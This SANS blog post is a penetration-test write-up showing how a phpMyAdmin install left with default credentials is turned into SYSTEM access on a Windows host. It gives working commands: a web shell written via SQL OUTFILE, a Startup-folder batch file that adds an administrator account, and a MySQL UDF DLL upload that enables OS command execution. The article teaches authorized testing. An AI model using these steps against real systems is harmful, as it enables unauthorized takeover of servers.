homepage
Open menu Go one level top
  • Train and Certify
    • Get Started in Cyber
    • Courses & Certifications
    • Training Roadmap
    • Search For Training
    • Online Training
    • OnDemand
    • Live Training
    • Summits
    • Cyber Ranges
    • College Degrees & Certificates
    • NICE Framework
    • DoDD 8140
    • Specials
  • Manage Your Team
    • Overview
    • Security Awareness Training
    • Voucher Program
    • Private Training
    • Workforce Development
    • Skill Assessments
    • Hiring Opportunities
  • Resources
    • Overview
    • Reading Room
    • Webcasts
    • Newsletters
    • Blog
    • Tip of The Day
    • Posters
    • Top 25 Programming Errors
    • The Critical Security Controls
    • Security Policy Project
    • Critical Vulnerability Recaps
    • Affiliate Directory
  • Focus Areas
    • Blue Team Operations
    • Cloud Security
    • Digital Forensics & Incident Response
    • Industrial Control Systems
    • Leadership
    • Offensive Operations
  • Get Involved
    • Overview
    • SANS Community
    • CyberTalent
    • Work Study
    • Instructor Development
    • Sponsorship Opportunities
    • COINS
  • About
    • About SANS
    • Why SANS?
    • Instructors
    • Cybersecurity Innovation Awards
    • Contact
    • Frequently Asked Questions
    • Customer Reviews
    • Press Room
  • Log In
  • Join
  • Contact Us
  • SANS Sites
    • GIAC Security Certifications
    • Internet Storm Center
    • SANS Technology Institute
    • Security Awareness Training
  • Search
  1. Home >
  2. Blog >
  3. Putting the MY in phpMyAdmin
370x370_Tim-Medin.jpg
Tim Medin

Putting the MY in phpMyAdmin

April 10, 2013

[Editor's note: In this article, Tim Medin walks us through a few steps of a recent pen test he did, wherein he exploits phpMyAdmin. The best part of this write up is that he shows the mindset of a pen tester as he methodically attacks the target system step by step. In the process, he provides some good insight into exploiting PHP flaws via a MySQL instance running on a Windows target as well. Nice! -Ed.]

A wee time ago on a pen test not far, far away, I was looking for that first toehold; the first shell that split the test wide open; my entry into the target; the toe in the door; the camel's nose in the tent; the first part of the whatever that gets into there wherever that it shouldn't be in the first place. I kicked off an nmap sweep using the http-enum script, in hopes of finding an interesting web server with an even more interesting set of directories. Here is my command:

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

This nmap command does a full connect scan (-sT) at the "normal" speed (default is -T3). Web servers commonly run on port 80, 443, 8000, 8443, and 8080 and those are the ports we will use for host discovery (-PS) and examination (-p). I much prefer the -PS option over the -PN option (skip host discovery), as it gives me better insight as to the hosts that are up, instead of cluttering the output with hosts that don't exist and marking them with "Host is up". I also pass the command a file holding a list of my target servers using the -iL option. The command has been run. It's time to work on something else for a while... Where did I put my banjo?

After a few minutes of other "work", I come back to the terminal and see the command is done. Time to sort through the output...and what to my wondering eyes did appear, but this beautiful output and eight tiny reindeer (actually, no reindeer, but still)!

Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT     STATE  SERVICE
80/tcp   closed http
443/tcp  closed https
8000/tcp closed http-alt
8080/tcp open   http-proxy
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt

This box is running phpMyAdmin...and lo and behold, when I surfed to its admin interface, I found out that it was using default credentials! Santa had indeed left me a present under the tree.

It turns out the server hosts an admin interface for a particular network-monitoring product. The installer for this product installed phpMyAdmin with easy-to-guess credentials (root/root or something, I forget). None of the admins knew that phpMyAdmin was even on the box. It was yet another example of the pen tester's best friend: the old "accidentally installed because it was bundled with something else" routine. Time to play with this new found toy! It shows them a secret way that nobody else could find. And they say sneak! Sneak? Very nice friend, oh yes My Precious, very nice... <cough> excuse me...

We can use phpMyAdmin to execute arbitrary SQL. I quickly try sqlmap, but it seems that sqlmap wants injection, and not full control of all the SQL, so it gets confused. I could tweak the code, but that is no fun. I like sqlmap, but it's like a little brother. It is great to send off to do something you don't want to do, but when you really need something intense and focused done, you are going to have to do it yourself.

The obvious next step is to upload a web shell using SQL. Remember, when you paste in the shell into SQL you need to escape the single quotes (') with a backslash (\') or the SQL won't be valid. I injected some PHP shell code using the following syntax:

select '[escaped php shell code]' INTO OUTFILE 'c:\inetpub\wwwroot\shell.php';

I prefer the Laudanum php shell as it restricts access by IP and requires authentication. The last thing we want to do during a pen test is to make the client less secure by uploading an unprotected web shell. Always use protection.

Now, the shell is up and we have execution. I anxiously type the next command to find out my privileges. NO! The command "c:\windows\system32\cmd.exe /c whoami" returns the lowly "nt authority\network service" account. Dang! We are stuck in this stinker of an account and the box is patched, so no luck with a privilege escalation bug. There has to be another way. I can write as SYSTEM (via MYSQL), but I can't overwrite (limitation of OUTFILE). Where do we go from here?

Technique 1 - Write to User's Start Up directory

This route is really straightforward. Create a batch file in the C:\Documents and Settings\All Users\Start Menu\Programs\Startup directory that will be executed when any *user* logs in. The command window may pop-up on the screen for a split second but the user will likely not notice it. And, even if the user notices, he or she will likely ignore it anyway, and pwnage will ensue. Here is the command in the file:

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

This command creates a user and adds it to the local administrators account. Note that the hidden feature (/y) of the net user command skips the annoying prompt when choosing a password longer than 14 characters. If you don't use this option, "net user" will wait for input. The account won't be created and the user will see what you are doing. Of course, you could use a shorter password, but that's lamesauce. Plus, the client's policy requires all administrative accounts to have passwords longer than 14 characters, and I don't want to be the weak link.

The ping command is added so that I'll get a packet from the target server and I'll know when this login has taken place. The -n 1 option tells ping to send a single ping packet and the -w 10 tells the command to wait for 10 milliseconds before giving up. That should be quick enough for the window to disappear.

After the admin account is created, the box is mine! BUT! There is a LOT of waiting. Who knows when an admin might login? Fortunately for me, I told the client what I was doing and they logged in to simulate the attack.

That's cool, but who wants to wait?

Technique 2 - Make MySQL do my bidding

Microsoft SQL Server has a lovely feature (for attackers) called xp_cmdshell. This stored procedure allows system commands to be executed via SQL. Sadly, there is no such feature in MySQL; however, we can install a UDF (User-Defined Function) to do just this. (Thanks to Nathan Keltner for reminding me of this.) The first step is to find the plugin directory, so we can plug-in, by injecting the following syntax:

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

Now, we have to upload the UDF's dll.

This type of file isn't just text, it is binary. Fortunately, the MySQL "CHAR()" command can be used to generate binary data. For example, the MySQL statement "SELECT CHAR(72,69,76,76,79)" will return "HELLO" (decimal 72 is ASCII H, and so on... you can look it up). Each byte is presented to the CHAR function in its decimal form. Now, for some python fu to turn a file into decimal encoded bytes. (Thanks to Tim Tomes for this one-line pythonic masterpiece.)

$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,...

A little copy/paste (or on OS X pipe it into pbcopy) and we have our file via OUTFILE.

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

Next, register the dll.

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

And then...GO TIME!

SELECT sys_eval('dir') FROM dual
nt authority\system

Sweeeeeeeeeet!

We can do anything from here. We can upload a Meterpreter shell (via the python encoder and OUTFILE) and execute with sys_exec or sys_eval. We can create an administrative user. We can enable terminal services and modify the firewall. So many glorious options! MyPreciousAdmin console is mine...all mine!

The beautiful thing is that this is not the end... shell is only the beginning... Pivot mercilessly*.

-Tim Medin
Counter Hack
@timmedin

*Always staying in scope, and carefully following the rules of engagement.

Like this kinda stuff? Please join me for a deep dive into hands-on penetration techniques in SANS SEC560: Network Penetration Testing and Ethical Hacking at SANS Boston 2013! Boston, MA | Mon Aug 5 - Sat Aug 10, 2013

(BTW, anyone have a lead on any Sox tickets for Sunday?)

Share:
TwitterLinkedInFacebook
Copy url Url was copied to clipboard
Subscribe to SANS Newsletters
Join the SANS Community to receive the latest curated cybersecurity news, vulnerabilities, and mitigations, training opportunities, plus our webcast schedule.
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kingdom of Saudi Arabia
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia (Slovak Republic)
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe

Tags:
  • Penetration Testing and Ethical Hacking

Related Content

Blog
shutterstock_733632979_370x208.jpg
Penetration Testing and Ethical Hacking
February 18, 2021
Python Tasks: Counting IP Addresses
When scoping a penetration test, it's common that I'll receive a list of target IP addresses in use. Sometimes this is in the form of CIDR masks...
370x370_Joshua-Wright.jpg
Joshua Wright
read more
Blog
Penetration Testing and Ethical Hacking
February 4, 2021
Stack Canaries – Gingerly Sidestepping the Cage
Stack canaries or security cookies are tell-tale values added to binaries during compilation to protect critical stack values like the Return Pointer against buffer overflow attacks. If an incorrect canary is detected during certain stages of the execution flow, such as right before a return (RET),...
370x370_Michiel-Lemmens.jpg
Michiel Lemmens
read more
Blog
SUMMIT_Free_SANS_2021_Summits_Teaser.jpg
Digital Forensics and Incident Response, Cyber Defense Essentials, Industrial Control Systems Security, Purple Team, Blue Team Operations, Penetration Testing and Ethical Hacking, Cloud Security, Security Management, Legal, and Audit
November 30, 2020
Good News: SANS Virtual Summits Will Be FREE for the Community in 2021
They’re virtual. They’re global. They’re free.
Emily Blades
read more
  • Register to Learn
  • Courses
  • Certifications
  • Degree Programs
  • Cyber Ranges
  • Job Tools
  • Security Policy Project
  • Posters
  • The Critical Security Controls
  • Focus Areas
  • Blue Team Operations
  • Cloud Security
  • Cybersecurity Leadership
  • Digital Forensics
  • Industrial Control Systems
  • Offensive Operations
Subscribe to SANS Newsletters
Join the SANS Community to receive the latest curated cybersecurity news, vulnerabilities, and mitigations, training opportunities, plus our webcast schedule.
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kingdom of Saudi Arabia
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia (Slovak Republic)
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe
  • © 2021 SANS™ Institute
  • Privacy Policy
  • Contact
  • Twitter
  • Facebook
  • Youtube
  • LinkedIn